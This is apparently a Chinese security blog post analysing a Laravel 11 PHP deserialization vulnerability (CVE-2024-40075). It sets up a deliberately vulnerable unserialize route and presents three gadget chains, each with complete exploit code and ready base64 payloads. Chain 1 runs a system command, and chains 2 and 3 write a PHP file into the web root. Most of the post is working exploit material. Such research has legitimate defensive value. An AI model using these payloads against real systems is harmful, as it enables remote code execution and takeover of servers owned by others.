Laravel 是用 PHP 编写的开源 Web 应用程序框架。Laravel发布了一个反序列化漏洞(CVE-2024-40075),分析过程参考https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md,分析过后尝试寻找其他的利用链,最终找到两条利用链
composer create-project laravel/laravel laravel
这里获取到的版本是11.19.0的,接着在routes\web.php下添加一个入口
Route::get('/vuln', function (\Illuminate\Http\Request $request) {
$data = $request->input("data");
unserialize(base64_decode($data));
});
反序列化链起点在Illuminate\Broadcasting\PendingBroadcast#__destruct()下,这里可以构造$this->events的值,调用到任意类下的dispath()方法
这里选择的是src/Illuminate/Bus/Dispatcher类,如果$this->queueResolver && $this->commandShouldBeQueued($command)为true就会调用到$this->dispatchToQueue()
$this->queueResolver的值可控,跟进到$this->commandShouldBeQueued()下,该方法用于判断$command是否继承了ShouldQueue类
// 这里使用的是QueuedCommand类,该类继承了ShouldQueue
$this->event=new Illuminate\Foundation\Console\QueuedCommand()
跟进到dispatchToQueue()下,$this->queueResolver的值可控,$connection的值通过$command->connection获得,$connection是Queueable类下的属性也是可控的,所以就可以构造反序列化链了
调用栈
PendingBroadcast#__destruct()
Dispatcher#__dispatch()
Dispatcher#dispatchToQueue()
完整exp
<?php
namespace Illuminate\Foundation\Console {
Class QueuedCommand{
public $connection;
public function __construct(){
$this->connection = "calc";
}
}
}
namespace Illuminate\Bus {
Class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Foundation\Console\QueuedCommand;
use Illuminate\Bus\Dispatcher;
Class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace {
$obj = new Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($obj));
}
/*
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7Tzo0MzoiSWxsdW1pbmF0ZVxGb3VuZGF0aW9uXENvbnNvbGVcUXVldWVkQ29tbWFuZCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo0OiJjYWxjIjt9fQ==
*/
在抽象类Handler中__destruct()魔术方法中调用了close(),而GroupHandler类继承了Handler类,所以可以调用到close()
在GroupHandler#close()中需要调用到Stream#close(),而Stream是一个抽象类,FileRead继承了Stream,所以可以实例化FileRead类
$this->handlers = [new FileRead()];
在该方法下,$this->getStreamName()的返回值是可控的,接着会调用md5($streamName),如果$streamName是一个对象的话,就会调用到该对象下的__toString()方法
这里使用的类是InvokableComponentVariable类,在__toString方法下又调用了$this->__invoke()
在__invoke()中,$this->callable是可控的,它是一个可调用对象,call_user_func()函数会将这个可调用对象作为参数来执行它,也就是说现在通过控制$this->callable的值可以调用到其他类的方法
// 所调用的方法满足以下条件
1、方法类型为public
2、方法无需参数
这里选择调用的是PhpOption\LazyOption#getIterator()
$this->callable = [new LazyOption(), "getIterator"];
跟进到this->option(),可以看到这里再次出现了call_user_func_array(),$this->callback和$this->arguments都是可控的,这里就可以通过call_user_func_array()就可以调用到其他类的有参方法
这里找到了Illuminate\Filesystem\Filesystem类下面的put()方法,$pach和$contents的值可以通过$this->arguments传递进来
$this->callback = [new Filesystem(), "put"];
$this->arguments = ["111111.php","<?php phpinfo();?>"];
由于这条链子可以通过call_usr_func_array()调用到其他类的有参方法,所以还存在很多的利用点
调用栈
Handler#__destruct()
GroupHandler#close()
Stream#__close()
InvokableComponentVariable#__toString()
InvokableComponentVariable#__invoke()
LazyOption#getIterator()
LazyOption#option()
Filesystem#put()
完整exp如下,执行之后会在public目录下生成111111.php文件
<?php
namespace Illuminate\Filesystem {
class Filesystem {}
}
namespace PhpOption {
use Illuminate\Filesystem\Filesystem;
class LazyOption {
private $callback;
private $arguments;
public function __construct() {
$this->callback = [new Filesystem(), "put"];
$this->arguments = ["111111.php","<?php phpinfo();?>"];
}
}
}
namespace Illuminate\View {
use PhpOption\LazyOption;
class InvokableComponentVariable {
protected $callable;
public function __construct() {
$this->callable = [new LazyOption(), "getIterator"];
}
}
}
namespace Psy\Readline\Hoa{
use Illuminate\View\InvokableComponentVariable;
abstract Class Stream{
protected $_bucket;
public function __construct(){
$this->_bucket = [new InvokableComponentVariable()];
}
}
Class FileRead extends Stream {}
}
namespace Monolog\Handler{
use Psy\Readline\Hoa\FileRead;
Class GroupHandler{
protected array $handlers;
public function __construct(){
$this->handlers = [new FileRead()];
}
}
}
namespace {
$obj = new Monolog\Handler\GroupHandler();
$str = base64_encode(serialize($obj));
}
/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086MzI6IklsbHVtaW5hdGVcRmlsZXN5c3RlbVxGaWxlc3lzdGVtIjowOnt9aToxO3M6MzoicHV0Ijt9czozMToiAFBocE9wdGlvblxMYXp5T3B0aW9uAGFyZ3VtZW50cyI7YToyOntpOjA7czoxMDoiMTExMTExLnBocCI7aToxO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7fX1pOjE7czoxMToiZ2V0SXRlcmF0b3IiO319fX19fQ==
*/
这条链实际上是链2的另一个利用点,这里也放出来,这条链有版本的限制,上面的利用链在11.19.0和11.5.0版本中测试都可以利用
下面这条链在11.5.0中测试可以利用,在11.19.0版本由于移除了相应的依赖而无法使用
在11.19.0中移除了spatie/laravel-ignition依赖,而反序列化链3的gadget需要利用到该依赖,可以通过项目的composer.json文件查看是否存在对应的依赖
在链2是通过Filesystem#put()中的file_put_contents来写入的,而链三使用的是FileConfigManager#save()
save()方法首先会调用$this->createFile()判断$this->file文件是否存在,不存在的话会先生成该文件
接着调用saveToFile(),该方法里又调用了writeToFile()将内容写入文件
<?php
namespace Spatie\Ignition\Config {
class FileConfigManager {
private string $file;
private string $path;
public function __construct() {
$this->path = "1";
$this->file = "111111.php";
}
}
}
namespace PhpOption {
use Spatie\Ignition\Config\FileConfigManager;
class LazyOption {
private $callback;
private $arguments;
public function __construct() {
$this->callback = [new FileConfigManager(), "save"];
$this->arguments = [["<?php phpinfo();?>"]];
}
}
}
namespace Illuminate\View {
use PhpOption\LazyOption;
class InvokableComponentVariable {
protected $callable;
public function __construct() {
$this->callable = [new LazyOption(), "getIterator"];
}
}
}
namespace Psy\Readline\Hoa{
use Illuminate\View\InvokableComponentVariable;
abstract Class Stream{
protected $_bucket;
public function __construct(){
$this->_bucket = [new InvokableComponentVariable()];
}
}
Class FileRead extends Stream {}
}
namespace Monolog\Handler{
use Psy\Readline\Hoa\FileRead;
Class GroupHandler{
protected array $handlers;
public function __construct(){
$this->handlers = [new FileRead()];
}
}
}
namespace {
$obj = new Monolog\Handler\GroupHandler();
$str = base64_encode(serialize($obj));
echo $str;
}
/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086NDA6IlNwYXRpZVxJZ25pdGlvblxDb25maWdcRmlsZUNvbmZpZ01hbmFnZXIiOjI6e3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAGZpbGUiO3M6MTA6IjExMTExMS5waHAiO3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAHBhdGgiO3M6MToiMSI7fWk6MTtzOjQ6InNhdmUiO31zOjMxOiIAUGhwT3B0aW9uXExhenlPcHRpb24AYXJndW1lbnRzIjthOjE6e2k6MDthOjE6e2k6MDtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO319fWk6MTtzOjExOiJnZXRJdGVyYXRvciI7fX19fX19
*/
https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md
7 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!